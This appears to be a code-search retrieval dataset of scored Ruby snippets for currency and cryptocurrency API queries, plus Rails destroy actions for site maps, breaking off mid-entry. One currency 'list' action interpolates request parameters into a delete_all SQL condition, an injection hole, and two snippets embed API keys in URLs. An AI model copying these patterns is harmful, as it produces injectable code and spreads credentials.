"text": "def cryptocurrency_info_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.cryptocurrency_info_get ...'\n end\n # resource path\n local_var_path = '/cryptocurrency/info'\n\n # query parameters\n query_params = {}\n query_params[:'id'] = opts[:'id'] if !opts[:'id'].nil?\n query_params[:'symbol'] = opts[:'symbol'] if !opts[:'symbol'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ApiKeyAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2006')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#cryptocurrency_info_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "0be515986686d290f2be2034ef674dbd",
"score": "0.59443444",
"text": "def index(currency = 'BTC', &blk)\n params = { currency: currency }\n if block_given?\n websocket.subscribe :index, params: params, &blk\n else\n http.get :index, params: params\n end\n end",
"title": ""
},
{
"docid": "b1061b3ecf5a6d3dad29f33329d4d99a",
"score": "0.593045",
"text": "def get_all_available_currencies\n [@currency].concat @cross_rate.keys\n end",
"title": ""
},
{
"docid": "9c4ca06f8c16df234db178fd1f156676",
"score": "0.5898272",
"text": "def index\n # this whole process is updating the users coins with the currnet price from the api. pulls the users coins and if a coin matches then update the price in usd. and return the coin.\n coins = HTTParty.get(BASE_URL) # this will bring back the top 100 coins in an array\n user_coins = current_user.coins\n user_coins.each do |coin|\n res_coin = coins.find { |c| c['id'] == coin.cmc_id }\n coin.update(price: res_coin['price_usd']) if res_coin \n end \n render json: current_user.coins # if we don't authenticate_user before then we cant user current_user. it is a built in devise function\n end",
"title": ""
},
{
"docid": "712e8d50676a10ae30d2328dc7be6f11",
"score": "0.5889699",
"text": "def list\r\n\t\t@current_area = 'currencies'\r\n\t\t@current_menu = 'settings'\r\n\r\n\t\tsort_order ||= get_sort_order(\"s-abbr\", \"abbreviation\")\r\n\t\tsort_order ||= get_sort_order(\"s-name\", \"name\")\r\n\t\tsort_order ||= get_sort_order(\"s-symbol\", \"symbol\")\r\n\t\tsort_order ||= get_sort_order(\"s-rate\", \"exchange_rate\")\r\n\t\tsort_order ||= \"is_default DESC, name ASC\"\r\n\r\n\t\tif params[:new] and params[:new_currency]\r\n\t\t\tparams[:new_currency][:symbol] = params[:new_currency][:symbol_prefix] + Currency.symbols[params[:new_currency][:symbol]]\r\n\t\t\tparams[:new_currency].delete('symbol_prefix')\r\n\t\t\tc = Currency.create(params[:new_currency])\r\n\t\t\tc.update_exchange_rate\r\n\t\telsif params[:delete] and params[:select]\r\n\t\t\tc = params[:select].keys.collect { |k| \"id=#{k}\" }.join(' OR ')\r\n\t\t\tCurrency.delete_all(c)\r\n\t\telsif params[:default] and params[:select]\r\n\t\t\tc = params[:select].keys.first.to_i\r\n\t\t\tCurrency.update_all('is_default = 0', 'is_default <> 0')\r\n\t\t\tCurrency.update_all('is_default = 1', \"id = #{c}\")\r\n\t\tend\r\n\r\n\t\t@currencies = Currency.find(:all, :order => sort_order)\r\n\tend",
"title": ""
},
{
"docid": "959185f9fc05657aa4ba216f462f95bb",
"score": "0.5883131",
"text": "def info_currencies_in_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CurrencyInfoApi.info_currencies_in ...'\n end\n # resource path\n local_var_path = '/info/currencies/in'\n\n # query parameters\n query_params = {}\n query_params[:'sender_id'] = opts[:'sender_id'] if !opts[:'sender_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CurrencyExchangeListResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CurrencyInfoApi#info_currencies_in\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "021812fe2b7f5f48302e1abefe4d4b15",
"score": "0.5878409",
"text": "def crypto_symbols_with_http_info(exchange, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.crypto_symbols ...'\n end\n # verify the required parameter 'exchange' is set\n if @api_client.config.client_side_validation && exchange.nil?\n fail ArgumentError, \"Missing the required parameter 'exchange' when calling DefaultApi.crypto_symbols\"\n end\n # resource path\n local_var_path = '/crypto/symbol'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'exchange'] = exchange\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<CryptoSymbol>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#crypto_symbols\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "85d6eddc7f9e458fb6156c96ca4eca56",
"score": "0.58721995",
"text": "def currencies\n @currencies || []\n end",
"title": ""
},
{
"docid": "824cc4697d84c06593298ec941f4bb1c",
"score": "0.5870785",
"text": "def index\n @all_products = Product.all.as_json\n @all_currencies = ExchangeRateService.valid_currencies\n @base_url = Rails.env.development? ? 'http://localhost:3000' : 'http://cabifycheckout.com'\n end",
"title": ""
},
{
"docid": "3ebeacece9f4d0fc7076a256ecffd372",
"score": "0.5857354",
"text": "def currencies\n return moneys.keys.sort\n end",
"title": ""
},
{
"docid": "ff89053cea82c1070fa0d0d8511a920c",
"score": "0.58564657",
"text": "def currency\n params[\"Currency\"]\n end",
"title": ""
},
{
"docid": "e819cecc5a22b1f37d10b906050ee34b",
"score": "0.58501035",
"text": "def get_currency_history\n conversion_rate = ConversionRate.new(@params) if @params[:currency].present?\n get_conversion_rate = conversion_rate.get_conversion_rate if conversion_rate.present?\n render :json => get_conversion_rate\n end",
"title": ""
},
{
"docid": "73f18c754746aadbb4023c6aa04b5412",
"score": "0.584207",
"text": "def show\n @our_coin = OurCoin.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @our_coin }\n end\n end",
"title": ""
},
{
"docid": "21d7b35515fe86719f1c7d184f442314",
"score": "0.5834306",
"text": "def fetch_stake_currency_details\n if @token[:stake_currency_id].present?\n stake_currency_id = @token[:stake_currency_id]\n @stake_currencies = Util::EntityHelper.fetch_stake_currency_details(stake_currency_id).data\n else\n @stake_currencies = {}\n end\n success\n end",
"title": ""
},
{
"docid": "39bcc2b0a2a477ca884459dab5d0768d",
"score": "0.5833119",
"text": "def rates(coin='Bitcoin', currencies: %w(EUR GBP))\r\n \r\n jeg = JustExchangeRates.new(base: 'USD', app_id: @exchangerate_key, \r\n debug: @debug)\r\n usd = self.price(coin).round(2)\r\n ([:USD] + currencies.map(&:to_sym)).zip(\r\n [usd, *currencies.map {|currency| (usd * jeg.rate(currency)).round(2) }]\r\n ).to_h\r\n \r\n end",
"title": ""
},
{
"docid": "5287a167720820ca5a35782c926069a2",
"score": "0.5827777",
"text": "def get_currencies(opts = {})\n data, status_code, headers = get_currencies_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "782ccc42e171204d65ed0f24b3633a9b",
"score": "0.5817436",
"text": "def find_rate()\n uri_string = \"https://free.currconv.com/api/v7/convert?q=GBP_\"\\\n \"#{@currency}&compact=ultra&apiKey=2d46a9b5b650dca0dbb1\"\n uri = URI(uri_string)\n res = Net::HTTP.get_response(uri)\n return(JSON.parse(res.body)[\"GBP_#{@currency}\"]/100.0)\n end",
"title": ""
},
{
"docid": "d41d76c6c39dbf8a269302fd55258254",
"score": "0.58096534",
"text": "def index\n @wallets = Wallet.all\n # @currency = Currency.first\n end",
"title": ""
},
{
"docid": "c71099549b93f8d3af2b1082500ef2b7",
"score": "0.57888424",
"text": "def fetch_wallet(funds_type, currency_iso_code)\n MangoPay.request(:get, url() + \"/wallets/#{funds_type}/#{currency_iso_code}\")\n end",
"title": ""
},
{
"docid": "2b93ef4d7021ae029740ab54f46d6f66",
"score": "0.5766774",
"text": "def currency\n params['currency']\n end",
"title": ""
},
{
"docid": "abb59183e8af998e3938310f2074ac7a",
"score": "0.57586634",
"text": "def load_currencies\n currencies = parse_currency_file(\"currency.json\")\n currencies.merge! parse_currency_file(\"currency_bc.json\")\n end",
"title": ""
},
{
"docid": "2fdb22343a293c206593ccdfaaa77b77",
"score": "0.5745693",
"text": "def pricing\n request('pricing', :get)\n end",
"title": ""
},
{
"docid": "2e4dcb054f8819887670e395e6032ea6",
"score": "0.5744999",
"text": "def licenses\n publisher_id = current_user.id\n @licenses = PowerChip.where(:publisher_id=>publisher_id)\n respond_to do |format|\n format.html # licenses.html.erb\n format.json { render json: @licenses }\n end\n end",
"title": ""
},
{
"docid": "fbacb12a8686a84f9d87cf090f8bfef4",
"score": "0.5737454",
"text": "def cryptocurrency_info_get(opts = {})\n data, _status_code, _headers = cryptocurrency_info_get_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "ed5813acd4f3d048417135acdbda7606",
"score": "0.57329744",
"text": "def fetch_stake_currency_details\n\n @all_stake_currencies = StakeCurrency.active_stake_currencies_by_symbol\n\n if @token[:stake_currency_id].present?\n stake_currency_id = @token[:stake_currency_id]\n @stake_currencies = Util::EntityHelper.fetch_stake_currency_details(stake_currency_id).data\n else\n @stake_currencies = {}\n end\n\n success\n\n end",
"title": ""
},
{
"docid": "23d8c13b68e91bdc878a88d4c693ddb0",
"score": "0.57295084",
"text": "def currencies\n reload_currencies_cache if !self.currencies_cache?\n c = YAML.load(self.currencies_cache)\n c ||= {}\n end",
"title": ""
},
{
"docid": "3ed8791454c11cdaf3724e73b9aee3fb",
"score": "0.57279193",
"text": "def ohlc(id, currency: 'usd', days: 7, **options)\n get \"coins/#{id}/ohlc\", vs_currency: currency, days: days, **options\n end",
"title": ""
},
{
"docid": "37988165d6d1aaa74a03f7aed13c4feb",
"score": "0.5699979",
"text": "def exchange_rates\n Currency::Exchange.exchange_rates\n end",
"title": ""
},
{
"docid": "746c81f13ed9dfd5e0c7a3c9e65b81b0",
"score": "0.5691605",
"text": "def options ()\n\t\tres = with_auth_query nil do |options|\n\t\t\tself.class.get('/api/v1/market/symbols', options)\n\t\tend\n\t\tcontracts = []\n\t\tres.each do |symbol|\n\t\t\tcontracts.push symbol if symbol[\"exp\"]\n\t\tend\n\t\tcontracts\n\tend",
"title": ""
},
{
"docid": "9cfaae78acaf0df8d31e5c456d187401",
"score": "0.56910783",
"text": "def info_currencies_out_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CurrencyInfoApi.info_currencies_out ...'\n end\n # resource path\n local_var_path = '/info/currencies/out'\n\n # query parameters\n query_params = {}\n query_params[:'sender_id'] = opts[:'sender_id'] if !opts[:'sender_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CurrencyExchangeListResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CurrencyInfoApi#info_currencies_out\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "37dc338b92204c7d8f4696b147206b4c",
"score": "0.56764543",
"text": "def credit\n handle_response(self.class.get(\"/credit.json\"))\n end",
"title": ""
},
{
"docid": "b04c44e82e2d519abade3c4a8d96c374",
"score": "0.5676003",
"text": "def get_coin_data\n response = HTTParty.get(API_URL)\n coindata = response.parsed_response\n end",
"title": ""
},
{
"docid": "f31dfe1e6088b1aedc0579262647a1a2",
"score": "0.56607395",
"text": "def fetch_application_currency_types\n application_currency_types\n end",
"title": ""
},
{
"docid": "b3069472ffa438e180d61830e68dbca8",
"score": "0.5659548",
"text": "def show\n @currency = Currency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @currency }\n end\n end",
"title": ""
},
{
"docid": "b3069472ffa438e180d61830e68dbca8",
"score": "0.5659548",
"text": "def show\n @currency = Currency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @currency }\n end\n end",
"title": ""
},
{
"docid": "b3069472ffa438e180d61830e68dbca8",
"score": "0.5659548",
"text": "def show\n @currency = Currency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @currency }\n end\n end",
"title": ""
},
{
"docid": "b3069472ffa438e180d61830e68dbca8",
"score": "0.5659548",
"text": "def show\n @currency = Currency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @currency }\n end\n end",
"title": ""
},
{
"docid": "46ca5cf2259fac1374a744bf0cf096b1",
"score": "0.5650533",
"text": "def retrieve_rates(date)\n path = \"http://openexchangerates.org/api/historical/#{date.to_s}.json?app_id=#{$app_id}\"\n response = Net::HTTP.get_response(URI.parse path)\n # TODO: error handling\n response.body\nend",
"title": ""
},
{
"docid": "89c3a9f46f0cacb891fd0ab6113ffede",
"score": "0.5645815",
"text": "def set_cryptocurrency\n @cryptocurrency = Cryptocurrency.find(params[:id])\n end",
"title": ""
},
{
"docid": "89c3a9f46f0cacb891fd0ab6113ffede",
"score": "0.5645815",
"text": "def set_cryptocurrency\n @cryptocurrency = Cryptocurrency.find(params[:id])\n end",
"title": ""
},
{
"docid": "89c3a9f46f0cacb891fd0ab6113ffede",
"score": "0.5645815",
"text": "def set_cryptocurrency\n @cryptocurrency = Cryptocurrency.find(params[:id])\n end",
"title": ""
},
{
"docid": "0bec5ee013629a6b0fbd477cc34ac61b",
"score": "0.5644196",
"text": "def currency_list\n %w(USD EUR GBP JPY AUD INR)\n end",
"title": ""
},
{
"docid": "f97bbcd0d03c2b7856921fe529c96483",
"score": "0.56411487",
"text": "def index\n # Setting URL\n url = \"https://v3.exchangerate-api.com/bulk/bd9e41491d3cbe08cc159344/USD\"\n uri = URI(url)\n response = Net::HTTP.get(uri)\n response_obj = JSON.parse(response)\n\n # Create an object to get an access from the view\n @rates = response_obj[\"rates\"]\n @currencies = response_obj[\"rates\"].keys\n\n # Format the currency before passed to javascript \n @formated_rates = Hash.new\n @rates.each { |currency, rate|\n @formated_rates[currency] = Money.new((@rates[currency]),currency).format\n }\n\n # Assign @rates object to gon object, so it can be used in the .js file \n gon.exchange_rate = @rates\n\n # To retrieve bank information\n @accounts = Account.all\n end",
"title": ""
},
{
"docid": "86e0512505aedb5954f143d3f6da86c0",
"score": "0.56399995",
"text": "def info_currencies(opts = {})\n data, _status_code, _headers = info_currencies_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "6749869ef0bf0f2a15f569167abd4897",
"score": "0.562547",
"text": "def index\n user_coin_transactions = get_user_coin_transactions\n if user_coin_transactions\n json_response(user_coin_transactions)\n else \n json_response({:status => false, :message => 'no transaction'})\n end\n end",
"title": ""
},
{
"docid": "d5f196da060b46fab87fc16dac7a3053",
"score": "0.5623567",
"text": "def currency_rates\n @currency_rates = fetch_currency_rates\n end",
"title": ""
},
{
"docid": "5912e66869c3b915e8c13ac772d6499f",
"score": "0.5617806",
"text": "def index\n manage_filter_state\n @currencies = Currency.paginate(:page => params[:page], :per_page => per_page).order(sort_column + ' ' + sort_direction)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @currencies }\n format.js\n end\n end",
"title": ""
},
{
"docid": "cd031a774dfc4350ba66f741ae0a532c",
"score": "0.5613294",
"text": "def get_currencies(opts = {})\n data, _status_code, _headers = get_currencies_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "6fd8cedce06c989c68d95abe1dd7fe20",
"score": "0.5611906",
"text": "def set_api\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n # converts response to a Ruby hash \n @lookup_crypto = JSON.parse(@response)\n @gain_loss = 0\n end",
"title": ""
},
{
"docid": "36d811036f2c9bade2f5b5eada266054",
"score": "0.5600504",
"text": "def get_coin\n @coin = Coin.find(params[:coin_id])\n end",
"title": ""
},
{
"docid": "36d811036f2c9bade2f5b5eada266054",
"score": "0.5600504",
"text": "def get_coin\n @coin = Coin.find(params[:coin_id])\n end",
"title": ""
},
{
"docid": "a563446eb4b419758f80dbbabb76e563",
"score": "0.5598639",
"text": "def call_api\n url = \"#{@base_uri}/stock\"\n params = {symbol: @symbol, api_token: @api_key}\n\n if @exchange\n params[:stock_exchange] = @exchange\n end\n\n Lita.logger.debug \"call_api: #{url} #{params.inspect}\"\n\n @response = RestClient.get url, {params: params}\n\n Lita.logger.debug \"response: #{@response}\"\n end",
"title": ""
},
{
"docid": "dec4ef90472b4cf70b8be3e47dd4e8ae",
"score": "0.55961806",
"text": "def get_currency_based_on_country_code\n country_code = params[:country_code]\n if country_code.length == 2\n currency = ISO3166::Country.find_country_by_alpha2(country_code).currency['code']\n elsif country_code.length == 3\n currency = ISO3166::Country.find_country_by_alpha3(country_code).currency['code']\n end\n response = {currency: currency}\n render json: response.to_json, status: \"200\"\n end",
"title": ""
},
{
"docid": "254e0031efb13c93e6bac5267e5a3c3a",
"score": "0.5595696",
"text": "def index\n @cryptotables = Cryptotable.all\n retrieve_data\n end",
"title": ""
},
{
"docid": "7cba67eb5278730a68bff9a8d51b06ba",
"score": "0.55781627",
"text": "def index\n @utilized_bitcoin_wallets = UtilizedBitcoinWallet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @utilized_bitcoin_wallets }\n end\n end",
"title": ""
},
{
"docid": "37fe58d5c3631e64b8d1d72d4a424290",
"score": "0.55763197",
"text": "def search\n @crypto = HTTParty.get(\"https://api.coinmarketcap.com/v1/ticker/?limit=10\")\n @crypto_id = params[:id]\n end",
"title": ""
},
{
"docid": "afcf9cf3ee6596b17481377355c0bad4",
"score": "0.5566705",
"text": "def set_currency\n @currencies = Currency.find(params[:id])\n end",
"title": ""
},
{
"docid": "805ea2fef4c4704c651acdc4ad5f61bd",
"score": "0.5546825",
"text": "def get_rates(options={})\n post 'rates/full', options\n end",
"title": ""
},
{
"docid": "dbe90db0aca5f7fdce3636ce6b712b9d",
"score": "0.5546659",
"text": "def account_currencies opts={}\n params= {\n account: opts.delete(:account) || client_account,\n strict: opts[:strict].nil?? true : opts[:strict],\n ledger_index: opts[:ledger_index] || \"validated\",\n ledger_hash: opts[:ledger_hash]\n }\n post(:account_currencies, params)\n end",
"title": ""
}
] |
580b1623a08a1485523048d0b0af2944
|
DELETE /system_site_maps/1 DELETE /system_site_maps/1.json
|
[
{
"docid": "c30ab0441a06baf1a22ffc22efe54728",
"score": "0.7905609",
"text": "def destroy\n @system_site_map = SystemSiteMap.find(params[:id])\n @system_site_map.destroy\n\n respond_to do |format|\n format.html { redirect_to system_site_maps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "c021ebec4a8d99b10bd5dbfcfe32b974",
"score": "0.7229023",
"text": "def destroy\n @map.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f763f7278035471287a1179fa070c63b",
"score": "0.72063464",
"text": "def destroy\n @map.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "b0aa58e86cf282225fa06d950bb716bd",
"score": "0.714348",
"text": "def destroy\n get_map\n @map.destroy\n\n respond_to do |format|\n format.html { redirect_to maps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f32aeadd4773af98abd6019cf187cffe",
"score": "0.71321493",
"text": "def destroy\n @map.destroy\n\n respond_to do |format|\n format.html { redirect_to maps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "50333f0f9a2d874b7d24fb20220b44f7",
"score": "0.7124695",
"text": "def destroy\n @map.destroy\n respond_to do |format|\n format.html { redirect_to maps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "50333f0f9a2d874b7d24fb20220b44f7",
"score": "0.7124695",
"text": "def destroy\n @map.destroy\n respond_to do |format|\n format.html { redirect_to maps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "50333f0f9a2d874b7d24fb20220b44f7",
"score": "0.7124695",
"text": "def destroy\n @map.destroy\n respond_to do |format|\n format.html { redirect_to maps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e8c968716c56f77286eed2244e2e2587",
"score": "0.7070866",
"text": "def destroy\n @smallmap = Smallmap.find(params[:id])\n @smallmap.destroy\n\n respond_to do |format|\n format.html { redirect_to smallmaps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "77e932f2d232c34f4ffa12e7d486bcb9",
"score": "0.70687",
"text": "def destroy\n @map = Map.find(params[:id])\n @map.destroy\n\n respond_to do |format|\n format.html { redirect_to maps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "91bd02621259de27bc27e92970e1d306",
"score": "0.7050494",
"text": "def destroy\n @sasmap = Sasmap.find(params[:id])\n @sasmap.destroy\n\n respond_to do |format|\n format.html { redirect_to sasmaps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b32b07ee74f1716ed48fbbca177bb414",
"score": "0.7033667",
"text": "def destroy\n @domain_map = DomainMap.find(params[:id])\n @domain_map.destroy\n\n respond_to do |format|\n format.html { redirect_to domain_maps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "685fabcfef0e351b7edd861c1cdfc7e9",
"score": "0.7031504",
"text": "def destroy\n @world_map = WorldMap.find(params[:id])\n @world_map.destroy\n\n respond_to do |format|\n format.html { redirect_to world_maps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8646f64bdc21c3675ac8e69509668571",
"score": "0.7023197",
"text": "def destroy\n @location_url_map = LocationUrlMap.find(params[:id])\n @location_url_map.destroy\n\n respond_to do |format|\n format.html { redirect_to location_url_maps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d4bcfac2369085686dd0dac2c2d83070",
"score": "0.699163",
"text": "def destroy\n @locationmap = Locationmap.find(params[:id])\n @locationmap.destroy\n\n respond_to do |format|\n format.html { redirect_to locationmaps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "63e7503b41920fd24835839b086418f2",
"score": "0.6989414",
"text": "def destroy\r\n @location = Location.find(params[:id])\r\n RemovedLocation.create(server_id: Integer(params[:id]))\r\n directory = Rails.root.join('app','assets','locations');\r\n\r\n path = File.join(directory, @location.image)\r\n File.delete(path)\r\n @location.destroy\r\n mv = MapsVersion.first\r\n mv.version = mv.version+1\r\n mv.save\r\n respond_to do |format|\r\n format.html { redirect_to locations_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "4658b941277f37348f2b8cd616ef8fb8",
"score": "0.6894286",
"text": "def destroy\n @map = Map.find_by_id(params[:id])\n @map.destroy\n\n respond_to do |format|\n format.html { redirect_to(maps_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "060d822a70d568d356efea9f5c17d96c",
"score": "0.6892781",
"text": "def destroy\n @map = Map.find(params[:id])\n @map.destroy\n\n respond_to do |format|\n format.html { redirect_to(maps_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4382e701a42caf4e9be2dc73157926c9",
"score": "0.68831265",
"text": "def destroy\n @tinymap = Tinymap.find(params[:id])\n @tinymap.destroy\n\n respond_to do |format|\n format.html { redirect_to tinymaps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73684eca5a58472b30bee48a63f9b948",
"score": "0.68800646",
"text": "def destroy\n @map = Map.find(params[:id])\n @map.destroy\n\n respond_to do |format|\n format.html { redirect_to request.env[\"HTTP_REFERER\"] || @map.mapable, notice: 'Map removed!' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2460aef3bce2dab1ca022725172acefd",
"score": "0.6838862",
"text": "def destroy\n @fw_baidu_map = current_user.baidu_maps.find(params[:id])\n @fw_baidu_map.destroy\n\n respond_to do |format|\n format.html { redirect_to fw_baidu_maps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d0ca71466d8fb352d4619f22f462c076",
"score": "0.68260735",
"text": "def destroy\n @mosttinymap = Mosttinymap.find(params[:id])\n @mosttinymap.destroy\n\n respond_to do |format|\n format.html { redirect_to mosttinymaps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ccc8d2d07a458eaaa5fbfb9f0d3843fb",
"score": "0.68065006",
"text": "def destroy\n @moretinymap = Moretinymap.find(params[:id])\n @moretinymap.destroy\n\n respond_to do |format|\n format.html { redirect_to moretinymaps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f907343f41c8f831b97967a178315294",
"score": "0.680539",
"text": "def destroy\n @map.destroy\n respond_to do |format|\n format.html { redirect_to maps_url, notice: 'Map was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f907343f41c8f831b97967a178315294",
"score": "0.680539",
"text": "def destroy\n @map.destroy\n respond_to do |format|\n format.html { redirect_to maps_url, notice: 'Map was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a29d438b5921bc59924a52b74d5034e3",
"score": "0.67917967",
"text": "def delete\n NamedMap.stats_aggregator.timing('named-map.delete') do\n response = self.class.http_client.delete( url + '?api_key=' + @parent.api_key,\n {\n headers: @parent.headers,\n ssl_verifypeer: @parent.verify_cert,\n ssl_verifyhost: @parent.verify_host,\n followlocation: true,\n connecttimeout: HTTP_CONNECT_TIMEOUT,\n timeout: HTTP_REQUEST_TIMEOUT\n } )\n raise HTTPResponseError, \"DELETE:#{response.code} #{response.request.url} #{response.body}\" unless response.code == 204\n end\n end",
"title": ""
},
{
"docid": "65f150544ba959f20793920372b411fc",
"score": "0.6770643",
"text": "def destroy\n @process_map.destroy\n respond_to do |format|\n format.html { redirect_to process_maps_url, notice: 'Process map was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "094c69b86e59689da9c5b1345a95f074",
"score": "0.674236",
"text": "def destroy\n @map_version.destroy\n respond_to do |format|\n format.html { redirect_to admin_map_versions_url, notice: 'Map version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d56ec9276e1f0d5364887e6e9a33ddf3",
"score": "0.6741598",
"text": "def destroy\n @group_map.destroy\n\n respond_to do |format|\n format.html { redirect_to group_maps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "baea9ce29d642f1e37580b0ecd93060f",
"score": "0.6717765",
"text": "def destroy\n @map.destroy\n respond_to do |format|\n format.html { redirect_to kanzume_maps_path(kanzume_id: @kanzume.id), notice: 'Map was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2e16488da3a8cb37f0b81f799e40a4ce",
"score": "0.6708678",
"text": "def destroy\n @shiftmap = Shiftmap.find(params[:id])\n @shiftmap.destroy\n\n respond_to do |format|\n format.html { redirect_to shiftmaps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ea481d3efc93a0348751e820d8f7097d",
"score": "0.6647424",
"text": "def destroy\n @estate_map.destroy\n respond_to do |format|\n format.html { redirect_to estate_maps_url, notice: 'Estate map was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c0e340daaad62115455d3af6a9a9ab3f",
"score": "0.66289145",
"text": "def destroy\n @indication_generic_map.destroy\n respond_to do |format|\n format.html { redirect_to indication_generic_maps_url, notice: 'Indication generic map was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5d048b697da8f2274aeaa162e95b495e",
"score": "0.6605979",
